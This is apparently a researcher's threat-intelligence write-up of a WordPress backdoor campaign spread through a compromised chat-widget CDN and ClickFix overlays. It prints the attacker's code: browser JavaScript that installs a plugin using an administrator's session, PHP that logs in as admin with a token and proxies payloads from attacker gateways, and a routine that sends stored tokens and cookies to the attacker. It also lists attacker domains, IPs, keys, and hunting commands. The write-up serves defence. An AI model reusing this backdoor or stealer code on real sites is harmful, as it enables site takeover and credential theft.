Back to Articles

The C2 That Hands You Tomorrow's Domain: Anatomy of a Supply-Chain ClickFix Backdoor

Share:
Code on a laptop screen, representing a backdoor plugin and its command-and-control feed

On 14 September 2026, for a little under four hours, the JavaScript that a popular email and chat-widget vendor served from its CDN was not the vendor's JavaScript. Someone had modified two of its loader files so that every visitor to every site embedding the widget received a ClickFix overlay — and, if that visitor happened to be a logged-in WordPress administrator, their browser quietly uploaded and activated a backdoor plugin on their own site. The incident was reported publicly the next day and has been well covered elsewhere (see the references at the end).

This article is not about those four hours. It is about what I found when I went looking for the plugin that the four hours delivered. The backdoor family had been landing on WordPress sites since April, through at least two earlier delivery mechanisms. The command-and-control design is unusual enough to deserve a proper write-up: the plugin does not know where its payload lives. It asks a single feed URL, gets back a base64 string, and that string has pointed at three different domains in three weeks. By the time an indicator list is published, the feed has already moved on.

Everything that identifies a victim has been removed. The attacker's infrastructure has not. The full indicator list is at the end, and it is there on purpose — most of it has not appeared in any public report.

Step one: the pivot through the admin's own browser

Server-side, nothing was exploited. The ClickFix script that ran in the visitor's browser contained a routine that only fires when the page it is injected into belongs to a WordPress site and the visitor has an admin session. It fetches the plugin-upload form to harvest a nonce, downloads a 1.8 KB zip from the attacker's gateway, posts it to the standard upload endpoint with the admin's own cookies, scrapes the activation link from the plugins page, and clicks it:

var zr = await fetch(zipUrl);                 // https://<gateway>/p/wm.zip
var zb = await zr.blob();
var fd = new FormData();
fd.append('_wpnonce', m[1]);                  // scraped from plugin-install.php?tab=upload
fd.append('_wp_http_referer', '/wp-admin/plugin-install.php?tab=upload');
fd.append('pluginzip', zb, 'plugin.zip');
fd.append('install-plugin-submit', 'Install Now');
var up = await fetch('/wp-admin/update.php?action=upload-plugin',
                     { method: 'POST', body: fd, credentials: 'same-origin' });
...
var am = lh.match(/action=activate&amp;plugin=([^"&]+)&amp;plugin_status=all.*?_wpnonce=([a-f0-9]{10})/);
await fetch('/wp-admin/plugins.php?action=activate&plugin=' + am[1] + '&_wpnonce=' + am[2],
            { credentials: 'same-origin' });

From the server's point of view this is an administrator installing a plugin. No WAF rule fires, no login anomaly is logged, no file is written by anything other than WordPress itself. The access log shows a POST /wp-admin/update.php?action=upload-plugin from the admin's normal IP, with a valid nonce, during a normal browsing session. That single log line is the only server-side trace of the initial compromise.

Step two: a 3.8 KB plugin that does everything

The zip contains one file, wmedia-optimizer/wmedia-optimizer.php, 3,861 bytes, with a plausible header ("Web Media Optimizer — Core functionality and media performance improvements"). There is no obfuscation at all. It is readable, well-formatted PHP, which is exactly why it sailed past signature-based scanners: there is no eval, no base64_decode of code, nothing that looks like malware to a pattern matcher. Three constants at the top define the whole thing:

define('WM2_AUTH', 'M1vR7kQ3xN9pL2wT6yB4cF8dJ5sA0gU');
define('WM2_PREF', '_wm2_');
define('WM2_SRC', 'https://glegchner.com/ads.php');

Full admin takeover without a password. A GET request with ?wm2_a=<token> finds the first administrator account and logs the requester in as that user. Nothing is brute-forced and no account is created, so user-audit plugins see nothing:

if (isset($_GET['wm2_a']) && $_GET['wm2_a'] === WM2_AUTH) {
    $admins = get_users(['role' => 'administrator', 'number' => 1]);
    if (!empty($admins)) {
        wp_set_auth_cookie($admins[0]->ID, true);
        wp_redirect(admin_url());
        exit;
    }
}

Remote re-pointing. ?wm2_src=<token>&v=<url> overwrites the feed URL stored in wp_options, and ?wm2_hc=<token> is a health check that returns the current one as JSON. The operator can move every infected site to a new feed with one request each, without touching the file.

The injection itself. On every front-end page load the plugin hooks wp_head at priority 1, skips admin, AJAX and cron contexts so administrators never see it, and emits a single script tag. The interesting part is where the URL comes from:

$u = get_transient(WM2_PREF . 'u');
if ($u === false) {
    $src  = get_option(WM2_PREF . 'src', WM2_SRC);
    $resp = wp_remote_get($src, ['timeout' => 3, 'sslverify' => false]);
    $raw  = wp_remote_retrieve_body($resp);
    ...
    $u = base64_decode($raw, true);
    if ($u && filter_var($u, FILTER_VALIDATE_URL)) {
        set_transient(WM2_PREF . 'u', $u, 3600);   // cache for an hour
        update_option(WM2_PREF . 'fb', $u);        // remember as fallback
    } else {
        $u = get_option(WM2_PREF . 'fb', '');      // feed down? use last known
    }
}
echo "<script data-cfasync='false' async src='" . esc_url($u) . "'></script>\n";

The payload URL is never in the file. It is fetched from the feed, cached in a transient for an hour, and mirrored into an option as a fallback in case the feed goes dark. Delete the transient and it refetches. Take the feed down and it keeps using the last URL it saw. Grep the plugin for the gateway domain and you will find nothing.

Persistence and stealth. The activation hook copies the file into wp-content/mu-plugins/wmedia-recovery.php, so deleting the plugin from the admin panel leaves a must-use copy that cannot be deactivated from the UI. It then purges every page cache it knows about — WP Rocket, W3 Total Cache, WP Super Cache, Cache Enabler, Breeze, SiteGround, LiteSpeed, Autoptimize — so the injection goes live on the next request instead of waiting for cache expiry. Three filters hide it: all_plugins unsets itself from the plugin list, plugin_action_links returns nothing for it, and site_transient_update_plugins drops its own update entry so the "update available" badge never gives it away.

register_activation_hook(__FILE__, function () {
    foreach (['rocket_clean_domain', 'w3tc_flush_all', 'wp_cache_clean_cache',
              'ce_clear_cache', 'breeze_force_cache_clear', 'sg_cachepress_purge_cache'] as $fn) {
        if (function_exists($fn)) @call_user_func($fn);
    }
    $t = WPMU_PLUGIN_DIR . '/wmedia-recovery.php';
    if (!file_exists($t)) @copy(__FILE__, $t);
});
add_filter('all_plugins', function ($p) { unset($p[plugin_basename(__FILE__)]); return $p; });

Step three: the feed that hands you tomorrow's domain

The feed endpoint returns nothing but a base64 string. Decoding it over three weeks gave this:

$ curl -s https://glegchner.com/ads.php | base64 -d
https://yelahaye.surf/2uskhr6s.js        # mid-September
https://rooinson.icu/q3btavw6.js         # 22 September
https://deleeue.lol/0x7p7geq.js          # 1 October, morning
https://deleeue.lol/7ph0uqyu.js          # 1 October, 16:52 UTC
https://deleeue.lol/lu1v7nkv.js          # 1 October, 17:05 UTC

The domain rotated roughly weekly. The path now rotates within minutes. Any path on a gateway domain returns a freshly built copy of the loader, so the file name carries no information at all — it exists only to defeat URL-based blocking. The feed domain is behind Cloudflare and its root / returns the same base64 as /ads.php, so a block on the path alone is incomplete.

The practical consequence for defenders is simple: the feed is the indicator, not the payload URL. Published IOC lists that name the loader domain are describing last week. Polling the feed is the only way to stay current, and that is exactly how I found the third domain before any public list carried it.

The sibling: a plugin that turns the victim into the proxy

The same actor ships a second plugin, asset-cache/asset-cache.php, which I found on sites compromised weeks before the CDN incident. It uses the same feed, but instead of emitting a script tag pointing at the attacker's domain, it makes the victim site itself serve the payload:

define('CFX_ADS_URL',     'https://glegchner.com/ads.php');
define('CFX_CFG_URL',     'http://193.149.189.187:8080/api/wpcfg?key=Zt5nW8rQ1xKvJ3mP7bLgY9dC0fHs2uAe');
define('CFX_GW_FALLBACK', 'https://saaverra.sbs');
define('CFX_PROXY_AUTH',  '7563b62e34a1176032eec8ae4ba7d5e4950fcc5169c113be59fbbbc91509ec6f');
define('CFX_PREFIX',      '/asset-cache/');

add_action('wp_head', function () {
    echo '<script src="/asset-cache/fjs"></script>';     // first-party URL
}, 1);

add_action('init', function () {
    if (strpos($_SERVER['REQUEST_URI'], '/asset-cache/') !== 0) return;
    $c = cfx_cfg();                                        // feed → config server → fallback
    $resp = wp_remote_request(rtrim($c['gw'], '/') . '/' . $path, [
        'headers' => ['X-CFX-IP' => $realIp, 'X-Proxy-Auth' => CFX_PROXY_AUTH],
        'body'    => file_get_contents('php://input'),
    ]);
    echo wp_remote_retrieve_body($resp);
    exit;
}, 1);

Every request under /asset-cache/ is forwarded server-side to the current gateway, with the real visitor IP passed in a header for the attacker's geo and bot filtering, and the response is returned as if it were the site's own content. The page source contains only a relative URL. Content-Security-Policy, ad blockers, DNS filtering and browser-side domain reputation all see first-party traffic. The gateway domain never appears anywhere a browser can observe it.

Gateway resolution has three tiers: the feed, then a JSON config endpoint on a hard-coded IP (which returns {"gw":"https://..."} only with the right key), then a hard-coded fallback domain. This build also has its own password-less admin bypass; if no administrator exists, it creates one named wp_upd. Three builds (1.0.2, 1.0.3, 1.0.4) shipped between early and late September, and the actor migrated infected sites from 1.0.2 to 1.0.4 in-place over two days, which is how I know they maintain remote update capability over the fleet.

The payload: a fake Cloudflare page that also steals your tokens

The loader builds a full-viewport iframe with allow="clipboard-write" and a srcdoc that is a pixel-faithful copy of the Cloudflare "Just a moment..." interstitial, complete with the real hostname filled in. The "verify" interaction copies an OS-specific command to the clipboard — the command text comes from the gateway per request, selected by browser fingerprint, with PowerShell, CMD, WebDAV and MSHTA variants for Windows and bash, curl and AppleScript variants for macOS. Every event is reported back: overlay shown, click, copy, copy failed, close.

Every identifier in the loader is randomised per build. One copy uses _nvgj/_dsgr/_clmu, the next _rcyo/_alpf/_yatp. I captured nine distinct builds in one afternoon from the same URL. Hashing the file is pointless; detection has to be structural (the srcdoc interstitial, the clipboard-write permission, the fixed API path set).

What no public report mentions is this routine, present in every build:

function __loot(rep) {
  var o = {};
  ['localStorage', 'sessionStorage'].forEach(function (s) {
    var st = window[s];
    for (var i = 0; i < st.length; i++) {
      var k = st.key(i);
      if (/token|jwt|auth|_key|api|secret|session|bearer|csrf/i.test(k)) {
        var v = String(st.getItem(k));
        if (v.length > 8 && v.length < 2000) o[s[0] + ':' + k] = v;
      }
    }
  });
  var c = document.cookie || '';
  if (c) o.c = c.slice(0, 1500);
  if (!Object.keys(o).length) return;
  var x = new XMLHttpRequest();
  x.open('POST', rep, true);                 // .../api/v1/43d64b5
  x.setRequestHeader('Content-Type', 'application/json');
  x.send(JSON.stringify(o));
}

Before the visitor has clicked anything, the loader walks web storage for anything that looks like a token and posts it, with the non-HttpOnly cookies, to the gateway. ClickFix is usually described as a social-engineering attack that needs the victim to paste a command. This variant harvests credentials from every visitor who merely loads the page, and the social engineering is the second act.

The infrastructure behind it

Mapping the gateways was straightforward once the feed gave me the first one. Every gateway answers /health with {"ok":1}, serves the loader at /f.js and at any random path, serves the plugin zip at /p/wm.zip, and exposes the same set of /api/v1/ endpoints. Six of the gateway domains share one nameserver provider and resolve to a single origin IP; the newer ones sit behind Cloudflare. The config server on the hard-coded IP presents a TLS certificate for yet another domain, which turned out to be a Cloudflare-fronted mirror of the same host — running a Russian-language traffic-distribution panel with per-OS command slots, gateway lists, landing-page templates and GEO/UA cloaking. The zip, byte-identical to the one published after the CDN incident, is served from four different gateway hosts today.

Independent researchers have linked this cluster to the activity tracked as KongTuke / LandUpdate808 / TAG-124. I have no additional attribution evidence of my own beyond the panel language and the infrastructure overlap, so I will leave it there.

Indicators of compromise

All of the following were verified live on 2 October 2026. Everything here is attacker-controlled; there is no legitimate content on any of these hosts. The vendor's own CDN hostnames are deliberately not listed — they were a victim too, the compromise window closed on 14 September, and blocking them would break legitimate widgets.

Network

# C2 feed — returns base64 of the current loader URL. Block the domain, not the path.
glegchner.com

# ClickFix gateways (loader, zip, API). Six share one origin behind nsdrive.net NS.
yelahaye.surf
rooinson.icu
corralos.beer
sehneider.com
rochardson.me
rodrigeez.surf
deleeue.lol          # current feed target as of 2 Oct 2026, Cloudflare-fronted
saaverra.sbs         # hard-coded fallback gateway in asset-cache.php, Cloudflare-fronted
boiseno.club         # dead (registry hold) — historical
griffihhs.click      # pre-September gateway, DNS dead, origin still answers by Host header

# Panel / config
robertsoe.lol        # panel domain, cert CN on the config IP, Cloudflare-fronted mirror
193.149.189.187      # config server :8080/api/wpcfg + traffic panel (BL Networks)
46.29.26.20          # shared origin of all nsdrive.net gateways (FortiCore Digital)

Files (SHA-256)

f359ab0d2f732b54dd3300065f4d6553f4df1b67454b71fd81197e26f02af4a8  wm.zip (1,842 B)
901ef043f83c9f83dbd289b627e8249007e6d58f8709cbd6d6411c6000f10c49  wmedia-optimizer/wmedia-optimizer.php (3,861 B)
6fff5e86936321b5125de284037399b5edecdeb0db07835a3f6ec5c25efc98d3  asset-cache/asset-cache.php v1.0.2 (6,304 B)
bae874a259b39214110d746805d380b4fd066719003a772da194152dd7a0567a  asset-cache/asset-cache.php v1.0.3
1336c1cb70a26bac54618379083f8aa346e10370563cfefa6871d6caeaedca3c  asset-cache/asset-cache.php v1.0.4 (4,595 B)
b8734a3bc8feb125c7960c5a1eb9be53724fb83c95c317eec8afc2f5c5153586  wpconsole_v2.php (same actor, April wave)
8404e3de6acc470dc351935284c99b7ce7649a16d91148c339460313d21a0fd3  cdn-asset-helper.php (same actor, July wave)

The loader JavaScript is rebuilt per request; its hashes are not useful and are omitted.

Host-based anchors (grep these, not the domains)

# wmedia-optimizer
M1vR7kQ3xN9pL2wT6yB4cF8dJ5sA0gU           auth token
WM2_AUTH / WM2_PREF / WM2_SRC              constant triple
_wm2_src  _wm2_fb  _wm2_u                  wp_options / transient names
wp-content/mu-plugins/wmedia-recovery.php  self-copy

# asset-cache
Xk9mWq2LpV7zRt4NhB8cF6dJ3sA5gU1y           admin-bypass key (?k=)
CFX_ADS_URL / CFX_CFG_URL / CFX_GW_FALLBACK / CFX_PROXY_AUTH
cfx_cfg  cfx_last_ip                       transients
X-CFX-IP  X-Proxy-Auth                     outbound headers
wp_upd                                     created admin username
wp-content/mu-plugins/asset-cache-runtime.php, wp-media-recovery.php

# earlier waves, same actor
wp-content/plugins/<12-hex>-<6-alnum>.xcf/   (also .exe / .otf suffixes)
wp-content/plugins/b120_wpconsole_v2-<6-alnum>/
wp-content/mu-plugins/spk-wd.php, _spk_* options

Hunting and cleanup

# Backdoor files, any name
grep -rlE "wm2_a|WM2_AUTH|CFX_PROXY_AUTH|cfx_cfg|_spk_" wp-content/ --include='*.php'

# Must-use copies that survive plugin deletion
ls -la wp-content/mu-plugins/

# Stored feed URL and fallback
SELECT option_name, option_value FROM wp_options
 WHERE option_name LIKE '\_wm2\_%' OR option_name LIKE '\_transient\_cfx\_%';

# Cached HTML carrying the script tag (page caches keep serving it after cleanup)
grep -rlE "glegchner|/asset-cache/fjs|data-cfasync='false' async src" wp-content/cache/

Removal order matters: the mu-plugin copy first, then the plugin directory, then the options and transients, then every page cache layer, then verify against the origin with the CDN bypassed. Because the initial install rode a live admin session and the loader harvests session material from every visitor, all administrator sessions should be invalidated and application passwords rotated as part of the cleanup, not as an afterthought.

Takeaways

  • Supply chain is a delivery mechanism, not a campaign. The four-hour CDN compromise got the headlines, but the plugin family was five months old and had two earlier distribution channels. Treat a vendor incident as "this actor is now also using X," not as the start of the story.
  • A logged-in admin's browser is a privileged client. Any JavaScript that runs on your site while you are logged in can install plugins as you. Third-party widgets in the admin's browser are part of your attack surface.
  • Indirection beats indicator lists. A feed that returns tomorrow's domain makes any published loader URL obsolete within days. Block the feed, poll the feed, and build detection on the structure of the dropper, not on where it points.
  • First-party proxying defeats domain-based controls. When the victim site relays the payload, CSP, DNS filtering and reputation lists are blind. Egress monitoring from the web server — what is PHP connecting to? — is the control that still works.
  • ClickFix is now also a stealer. The clipboard trick needs a willing victim; the storage harvester does not. Assume every token in web storage on an affected site was taken.

References

The plugin analysis, the feed polling, the asset-cache variant, the storage harvester, the panel and the full gateway list above are from my own investigation and had not been published at the time of writing.